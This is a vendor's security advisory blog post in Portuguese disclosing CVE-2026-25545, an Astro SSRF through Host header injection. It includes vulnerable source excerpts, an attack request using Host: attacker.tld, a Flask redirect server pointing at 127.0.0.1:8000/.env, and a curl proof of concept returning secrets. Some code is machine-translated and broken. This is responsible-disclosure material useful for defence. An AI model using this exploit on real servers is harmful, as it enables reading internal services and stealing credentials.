Aikido

SSRF de Leitura Completa no Astro via Injeção de Cabeçalho Host

Escrito por
Jorian Woltjer

Astro é um framework JavaScript de frontend e backend utilizado por muitas grandes organizações para facilitar o desenvolvimento de websites. Recentemente, um dos agentes do nosso produto Aikido Attack identificou uma vulnerabilidade de gravidade média na implementação server-side deste framework. Isso tornou quaisquer servidores diretamente acessíveis pelo atacante vulneráveis a Server-Side Request Forgery (SSRF).

Agora conhecida como CVE-2026-25545, notificamos rapidamente os mantenedores do Astro para obter uma correção em apenas alguns dias. As versões astro@5.17.2, @astrojs/node@9.5.3 bem como a beta astro@6.0.0-beta.11 foram corrigidas.

Resumo

Erros de Server-Side Rendered (SSR) com uma página de erro personalizada pré-renderizada (por exemplo, 404.astro ou 500.astro) são vulneráveis a SSRF. Se o Host: cabeçalho for alterado para o servidor de um atacante, /500.html será buscado do servidor deles e pode ser redirecionado para qualquer outra URL interna. Este redirecionamento é seguido, e a resposta é retornada ao atacante.

Quaisquer serviços em localhost ou na rede interna protegidos por firewalls e NAT podem se tornar acessíveis dessa forma, o que pode ter consequências devastadoras dependendo do que está hospedado.

Detalhes

O agente de pentest de IA encontrou este problema enquanto pesquisávamos, então explicaremos seu processo de pensamento enquanto detalhamos esta vulnerabilidade.

Astro pode renderizar páginas em dois modos: "static" e "server". Sites simples podem não precisar de um servidor e podem ser exportados como arquivos HTML estáticos, enquanto outros exigem lógica server-side. Você pode decidir o que é necessário por página.

Para a página inicial, você poderia pré-renderizar um arquivo HTML que sempre permanecerá o mesmo e só muda quando você compila novamente. Para renderizar sob demanda em vez disso, como para um contador de visualizações, Server-Side Rendering (SSR) é necessário.

Usar SSR exige que você defina a opção de configuração de saída para 'server' em astro.config.mjs:

export default defineConfig({
  output: 'server'
})

Um exemplo interessante são as páginas de erro no Astro. Qualquer rota pode retornar erros como 404 Not Found ou 500 Internal Server Error, que são exibidos de forma agradável com as páginas de erro padrão.

Como desenvolvedor, você pode criar uma página de erro personalizada com 404.astro ou 500.astro. Para eficiência, estas são pré-renderizadas como arquivos HTML quando possível. O interessante é que um servidor agora deve retornar uma resposta pré-renderizada.

Isso é implementado de uma forma um tanto estranha: o servidor busca /404.html ou /500.html de si mesmo e retorna esse resultado. Você pode ler isso em renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

A linha mais importante é prerenderedErrorPageFetch(statusURL), que é executada quando uma rota de erro personalizada existe e a página de erro é pré-renderizada (linha 13). No NodeJS, isso é simplesmente um alias para fetch() if options.experimentalErrorPageHost não está definido.
statusURL é construído a partir de request.url (linha 4). Esta propriedade vem de req.headers.host, também conhecido como o Host: header em HTTP.

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

O Host: header é sempre controlado pelo usuário, pois é apenas uma string arbitrária que o cliente envia. Como você pode ver na lógica acima, o Astro usa req.headers.host para construir request.url, que então se torna a URL base para uma chamada interna de fetch() chamada. O Astro confia que a entrada aponta para o próprio servidor, sem realmente validá-la. Isso é Host header injection, e é isso que torna o SSRF possível aqui.

GET /not-found HTTP/1.1
Host: attacker.tld

SSRF

Viemos aqui para Server-Side Request Forgery, mas não estamos longe neste ponto. A requisição acima dispara um erro 404, e se uma página 404 personalizada estiver configurada, nosso attacker.tld cabeçalho host será usado para enviar uma requisição para http://attacker.tld/404.html .
Isso já nos permite buscar esta URL específica em qualquer host interno:

GET /404.html HTTP/1.1
host: attacker.tld
conexão: manter-vivo
aceitar: */*
aceitar-idioma: *
modo-sec-fetch: cors
agente do utilizador: node
accept-encoding: gzip, deflate

Provavelmente não há muito conteúdo sensível em /404.html de um host arbitrário. Felizmente para nós, fetch() segue redirecionamentos automaticamente. Um fato que podemos usar porque já somos capazes de fazer com que o servidor Astro solicite o site do nosso atacante. Tudo o que temos que fazer é redirecionar de http://attacker.tld/404.html para alguma URL sensível como http://127.0.0.1:8000/.env!

Vamos configurar um servidor básico para lidar com isso:

de frasco import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
def explorar():
    return redirect("http://127.0.0.1:8000/.env")

if __name__ == "__main__":
    app.run()

Então enviamos nossa requisição maliciosa novamente:

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
tipo de conteúdo: texto/simples
servidor: SimpleHTTP/0.6 Python/3.12.3
Conexão: keep-alive
Keep-Alive: tempo limite=5
Codificação de transferência: fragmentada

SECRET=...

Sucesso! A página 404 foi buscada do atacante, redirecionada para 127.0.0.1:8000, e sua resposta (cabeçalhos e corpo) foi retornada. Com isso, um atacante poderia mapear toda a rede interna, interagindo com os serviços para ler informações potencialmente sensíveis.

Requisitos

Para um atacante explorar esta vulnerabilidade, existem alguns requisitos:

  1. O servidor deve estar no modo Server-Side Rendering (caso contrário, é apenas HTML estático).
  2. O Host: o cabeçalho deve estar não sanitizado. Alguns proxies validam este cabeçalho, portanto, pode ser necessário encontrar o
  3. IP de origem do servidor Astro para se conectar diretamente a ele.
  4. No código-fonte, o desenvolvedor deve ter configurado um 404.astro, 404.md, ou 500.astro arquivo. Isso é comum para aplicações maiores.

Como demonstrado, usar um erro 404 ao visitar um caminho não roteado é o caminho de exploração mais provável. Mas se uma página de Erro Interno do Servidor personalizada for configurada, acionar qualquer erro com um cabeçalho Host: falsificado também pode acionar a vulnerabilidade da mesma forma.

Remediação

Após identificar a vulnerabilidade relatada pelo nosso agente de IA, nós a reportamos rapidamente aos mantenedores do Astro, que tiveram uma correção pronta em apenas alguns dias.

As versões corrigidas começam a partir de:

  • astro@5.17.2
  • astro@6.0.0-beta.11
  • @astrojs/node@9.5.3

A correção deles foi repensar a prerenderedErrorPageFetch() função, que antes era um wrapper para fetch(). Agora /404 ou /500 arquivos são lidos diretamente do disco, e qualquer outra coisa só é buscada se options.experimentalErrorPageHost for explicitamente definido, indicando de onde buscar. O cabeçalho Host: agora também é validado, semelhante a como X-Forwarded-Host: já era, para evitar que um atacante manipule request.url no Astro.

Esta vulnerabilidade se resume a confiar na entrada do usuário no Host: cabeçalho, o que nunca se deve fazer. Recursos "mágicos" como redirecionar por padrão de

fetch() também podem levar a consequências inesperadas. É bom estar ciente do que as funções que você chama realmente fazem, lendo sua documentação.

O exploit para esta vulnerabilidade acaba sendo bastante simples e fácil de testar. Basta solicitar uma página inexistente com um Host: cabeçalho malformado. Tais ataques podem até ser encontrados sem o código-fonte, interagindo com a aplicação, o que

o pentest de IA da Aikido pode fazer. No entanto, ele também possui fortes capacidades de análise de código (whitebox), como visto neste relatório.

Cronograma

  • 2 de fevereiro de 2026: Aikido Security identificou a vulnerabilidade e construiu um PoC funcional
  • 3 de fevereiro de 2026: Divulgação responsável aos mantenedores do Astro
  • 3 de fevereiro de 2026: Relatório confirmado pelos mantenedores do Astro e início do trabalho em uma correção
  • CVE-2026-25545 é criado pelo GitHub
  • 11 de fevereiro de 2026: Correção é lançada em novas versões do Astro (astro@5.17.2, astro@6.0.0-beta.11, e @astrojs/node@9.5.3)
Compartilhar:

https://www.aikido.dev/blog/astro-full-read-ssrf-via-host-header-injection

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.